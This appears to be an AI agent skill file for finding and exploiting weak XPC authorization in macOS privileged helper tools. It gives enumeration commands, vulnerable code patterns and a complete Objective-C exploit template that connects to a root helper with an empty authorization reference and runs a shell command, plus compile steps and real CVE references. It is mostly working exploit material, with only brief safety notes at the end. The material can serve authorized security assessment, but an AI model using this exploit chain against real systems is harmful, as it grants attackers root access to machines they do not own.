macos-xpc-authorization

name

macos-xpc-authorization

description

macOS XPC Authorization Analysis and Exploitation. Use this skill whenever investigating macOS privilege escalation, analyzing XPC helper tools, enumerating authorization rights in /var/db/auth.db, or developing exploits for vulnerable XPC services. Trigger this when the user mentions XPC, HelperTool, authorization rights, privilege escalation on macOS, or any macOS security assessment involving inter-process communication.

macOS XPC Authorization Analysis

A skill for analyzing and exploiting macOS XPC (Inter-Process Communication) authorization vulnerabilities for privilege escalation.

Overview

XPC services are commonly used by macOS applications to perform privileged operations. HelperTools run as root and expose methods that applications can call. Authorization controls determine who can call these methods. Misconfigurations can lead to local privilege escalation.

Workflow

1. Identify XPC HelperTools

Find installed privileged helper tools:

# List all privileged helper tools
ls -la /Library/PrivilegedHelperTools/

# Check LaunchDaemons for XPC services
ls -la /Library/LaunchDaemons/

# Find Mach services in plists
grep -r "MachServices" /Library/LaunchDaemons/*.plist

2. Enumerate Authorization Rights

Check /var/db/auth.db for authorization rules:

# List all authorization rules
sudo sqlite3 /var/db/auth.db "SELECT name FROM rules;"

# Search for specific service rules
sudo sqlite3 /var/db/auth.db "SELECT name FROM rules WHERE name LIKE '%helper%';"

# Read specific authorization right
security authorizationdb read com.example.HelperTool.right

Use the enumerate_auth_rights.sh script to find permissive rights automatically.

3. Identify Permissive Authorization Rules

These combinations allow access without user interaction:

Key	Value	Meaning
authenticate-user	false	No authentication required
allow-root	true	Root can access without auth
session-owner	true	Session owner auto-authorized
shared	true	Right can be shared (needs initial auth)

Critical patterns to find:

• authenticate-user: false + is-admin or is-session-owner
• allow-root: true (if you can get root context)
• session-owner: true (current user auto-authorized)

4. Reverse the XPC Service

Find the Protocol Definition

Use class-dump to extract the protocol:

class-dump /Library/PrivilegedHelperTools/com.example.HelperTool

Look for the @protocol definition showing available methods.

Find the Mach Service Name

Check these locations:

# From LaunchDaemon plist
cat /Library/LaunchDaemons/com.example.HelperTool.plist | grep -A5 MachServices

# From binary (using otool or lldb)
otool -l /Library/PrivilegedHelperTools/com.example.HelperTool | grep -i mach

Check Authorization Implementation

Look for these patterns in the HelperTool binary:

# Check if using EvenBetterAuthorization pattern
strings /Library/PrivilegedHelperTools/com.example.HelperTool | grep -i "checkAuthorization"
strings /Library/PrivilegedHelperTools/com.example.HelperTool | grep -i "AuthorizationCopyRights"
strings /Library/PrivilegedHelperTools/com.example.HelperTool | grep -i "shouldAcceptNewConnection"

Vulnerable patterns:

• shouldAcceptNewConnection always returns YES without code signature verification
• AuthorizationCopyRights(NULL, ...) - accepts any 32-byte blob
• Missing setCodeSigningRequirement: on the listener

5. Develop the Exploit

Create Authorization Reference

#import <Foundation/Foundation.h>
#import <Security/Security.h>

AuthorizationRef authRef;
AuthorizationExternalForm authForm;
OSStatus status;

// Create empty authorization reference
status = AuthorizationCreate(NULL, kAuthorizationEmptyEnvironment, 
                            kAuthorizationFlagDefaults, &authRef);

// Convert to external form
status = AuthorizationMakeExternalForm(authRef, &authForm);

// Convert to NSData for XPC
NSData *authData = [[NSData alloc] initWithBytes:&authForm 
                                          length:sizeof(authForm)];

Connect to XPC Service

// Define the protocol (match what you found with class-dump)
@protocol HelperToolProtocol
- (void)executeCommandWithAuthorization:(NSData *)authData 
                                command:(NSString *)cmd 
                                  reply:(void (^)(NSError *))callback;
@end

// Connect to the service
NSString *serviceName = @"com.example.HelperTool";
NSXPCConnection *connection = [[NSXPCConnection alloc] 
    initWithMachServiceName:serviceName 
                     options:NSXPCConnectionPrivileged];

NSXPCInterface *interface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)];
[connection setRemoteObjectInterface:interface];
[connection resume];

id remoteProxy = [connection remoteObjectProxyWithErrorHandler:^(NSError *error) {
    NSLog(@"Connection error: %@", error);
}];

Call Privileged Method

// Call the method with your authorization data
[remoteProxy executeCommandWithAuthorization:authData 
                                    command:@"/bin/sh -c 'id'" 
                                      reply:^(NSError *error) {
    if (error) {
        NSLog(@"Method call failed: %@", error);
    } else {
        NSLog(@"Success!");
    }
}];

// Keep the process alive
[NSThread sleepForTimeInterval:5.0];

6. Compile and Run

gcc -framework Foundation -framework Security exploit.m -o exploit
./exploit

Common Vulnerable Patterns

Pattern 1: NULL AuthorizationRef

// Vulnerable - accepts any 32-byte blob
err = AuthorizationCopyRights(NULL, &rights, NULL, flags, NULL);

Exploit: Send any 32-byte data as authData.

Pattern 2: Missing Code Signature Check

// Vulnerable - no code signature verification
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
    return YES;  // Always accepts!
}

Exploit: Connect without proper code signing.

Pattern 3: Permissive Authorization Rules

{
  "class": "allow",
  "version": 1,
  "allow-root": true,
  "authenticate-user": false
}

Exploit: Use empty authorization reference.

Known CVEs for Reference

CVE	Product	Vulnerability
CVE-2025-65842	Acustica Audio Aquarius	NULL AuthorizationCopyRights + command injection
CVE-2025-55076	Plugin Alliance InstallationHelper	NULL AuthorizationCopyRights + system() injection
CVE-2024-4395	Jamf Compliance Editor	No authorization verification
CVE-2025-25251	FortiClient Mac	Trusted own AuthorizationRef

Quick Triage Checklist

• List all HelperTools in /Library/PrivilegedHelperTools/
• Check LaunchDaemons for MachServices entries
• Run enumerate_auth_rights.sh to find permissive rules
• Use class-dump on each HelperTool to get protocol
• Check for checkAuthorization function in binary
• Look for AuthorizationCopyRights(NULL, ...) pattern
• Verify if shouldAcceptNewConnection checks code signature
• Test with empty authorization reference

Tools

• class-dump - Extract protocol definitions
• sqlite3 - Query auth.db
• security authorizationdb - Read authorization rights
• codesign - Check code requirements
• otool / strings - Binary analysis
• lldb - Dynamic debugging

Safety Notes

• Always have proper authorization before testing
• Document findings for responsible disclosure
• Some exploits may crash the system or trigger security alerts
• Test in isolated environments when possible